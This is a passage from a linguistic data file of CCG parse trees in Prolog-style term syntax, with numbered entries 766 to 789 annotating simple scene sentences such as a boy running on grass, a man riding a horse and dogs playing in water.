t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(766,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'strip', 'strip', 'NN', 'I-NP', 'O')))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(767,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'handstand', 'handstand', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wet', 'wet', 'JJ', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'edge', 'edge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(768,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'handstand', 'handstand', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wet', 'wet', 'JJ', 'I-NP', 'O'),
t(n, 'sand', 'sand', 'NN', 'I-NP', 'O')))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'edge', 'edge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(769,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'mother', 'mother', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'park', 'park', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(770,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'park', 'park', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'mother', 'mother', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(771,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'spraying', 'spray', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'super', 'super', 'NN', 'I-NP', 'O'),
t(n, 'soaker', 'soaker', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(772,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'spraying', 'spray', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'super', 'super', 'NN', 'I-NP', 'O'),
t(n, 'soaker', 'soaker', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(773,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'spraying', 'spray', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'super', 'super', 'NN', 'I-NP', 'O'),
t(n, 'soaker', 'soaker', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(774,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'squirting', 'squirt', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'mouth', 'mouth', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'squirt', 'squirt', 'NN', 'I-NP', 'O'),
t(n, 'gun', 'gun', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(775,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'under', 'under', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'umbrella', 'umbrella', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'held', 'hold', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'father', 'father', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'coat', 'coat', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(776,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'coat', 'coat', 'NN', 'I-NP', 'O'))))))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'held', 'hold', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'father', 'father', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'under', 'under', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'umbrella', 'umbrella', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(777,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'under', 'under', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'umbrella', 'umbrella', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'held', 'hold', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'father', 'father', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'coat', 'coat', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(778,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'experiencing', 'experience', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'new', 'new', 'JJ', 'I-NP', 'O'),
t(n, 'world', 'world', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(779,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'alone', 'alone', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'covered', 'cover', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(780,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'along', 'along', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'snowdrift', 'snowdrift', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(781,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'surfer', 'surfer', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
t(n, 'wave', 'wave', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dark', 'dark', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(782,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'surfer', 'surfer', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'wave', 'wave', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(783,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'lunging', 'lunge', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'left', 'left', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(784,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tennis', 'tennis', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'left', 'left', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(785,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
t(np, 'something', 'something', 'DT', 'I-NP', 'O'),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'splashing', 'splash', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(786,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'stream', 'stream', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(787,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'cowboy', 'cowboy', 'NN', 'I-NP', 'O'),
t(n, 'hat', 'hat', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(788,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dirt', 'dirt', 'NN', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(789,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
